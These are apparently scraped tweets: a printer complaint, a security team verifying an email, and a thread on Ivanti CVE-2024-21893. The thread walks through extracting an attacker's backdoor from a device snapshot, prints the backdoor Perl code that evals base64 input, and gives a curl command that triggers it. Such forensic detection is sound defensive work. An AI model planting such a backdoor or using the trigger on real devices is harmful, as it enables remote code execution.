for i in range(100):
remind_to_self("I will never buy HP printer ever again")
bought a printer ink cartridge for my folks from https://t.co/nRPSgtUZi9, which does not work with error message. HP refuses to refund. thank you @HP@HPSupport
@nakulmk Hello Mr Nakul,
I'm Kang, DOSI security team. My colleague in DOSI(xxx@linecorp) got an email from you and we're not sure if it's legit. Can you confirm?
Getting into Ivanti CVE-2024-21893 In-the-Wild hackers' backdoor:
0. SSRF on saml-server will exploit CVE-2024-21887 vulnerability by bypassing mitigation and will likely crash saml-server
1. In the admin panel, get process snapshot (Troubleshooting > System snapshot)
2. Decrypt snapshot with https://t.co/MeYUPcQqfA (https://t.co/1uF4F4uCuk)
3. $ tar xvf snapshot.decrypted
-> It'll dump coredump (https://t.co/DSDG1ygc67)
4. $ strings https://t.co/DSDG1ygc67 | grep setcookie
-> you'll see attacker's saml xml payload
5. decode (URL, base64) payload and you'll get backdoored version of setcookie.thtml.ttc
following is the backdoored part:
$output .= "<!--\n";
my $keyname = 'LIONOPS';
my $key = CGI::param($keyname);
use MIME::Base64;
if(defined($key)){
my $arg=decode_base64("$key");
eval(decode_base64("$key"));
}
$output .= "-->\n";
"LIONOPS" is the keyword parameter to backdoor, so if you do something like:
$ curl https://your_vpn_server/dana-na/auth/setcookie.cgi?LIONOPS=<base64('print "a"*100')>
then backdoored device is likely to respond with 'a' * 100
#LINESecurity #ivanti #LIONOPS